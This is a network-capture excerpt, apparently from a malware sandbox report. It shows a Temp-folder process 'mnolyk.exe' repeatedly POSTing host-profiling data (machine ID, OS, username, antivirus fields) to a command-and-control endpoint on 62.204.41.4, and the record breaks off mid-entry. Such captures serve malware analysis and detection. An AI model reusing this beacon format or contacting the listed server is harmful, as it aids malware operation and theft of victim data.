Feb 6, 2023 14:17:45.431293964 CET	413	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.5	49903	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:45.622795105 CET	414	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:45.688411951 CET	414	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.5	49904	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:45.863997936 CET	415	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:45.929059982 CET	415	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.5	49905	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:46.099036932 CET	416	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:46.166430950 CET	416	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.5	49906	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:46.332969904 CET	417	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:46.397893906 CET	417	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.5	49907	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:46.566674948 CET	418	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:46.630750895 CET	418	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.5	49908	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:46.800738096 CET	419	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:46.871973991 CET	419	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.5	49909	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:47.051764965 CET	420	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:47.122370005 CET	420	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49712	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:34.380434036 CET	222	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:34.447359085 CET	223	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.5	49910	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:47.301538944 CET	421	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:47.367959976 CET	421	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.5	49911	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:47.534707069 CET	422	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:47.599071980 CET	422	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.5	49912	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:47.771913052 CET	423	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:47.835026026 CET	423	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.5	49913	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:48.004987955 CET	424	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:48.071654081 CET	424	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.5	49914	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:48.241764069 CET	425	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:48.306983948 CET	425	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.5	49915	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:48.482167006 CET	426	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:48.547434092 CET	426	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.5	49916	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:48.720590115 CET	427	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:48.785530090 CET	427	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.5	49917	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:48.955073118 CET	428	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:49.018578053 CET	428	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.5	49918	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:49.195230007 CET	429	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:49.261090040 CET	429	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.5	49919	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:49.446973085 CET	430	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:49.513588905 CET	430	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49713	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:34.634243011 CET	223	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:34.698781967 CET	224	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.5	49920	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:49.692974091 CET	431	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:49.757086039 CET	431	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.5	49921	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:49.926933050 CET	432	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:49.994590998 CET	432	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.5	49922	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
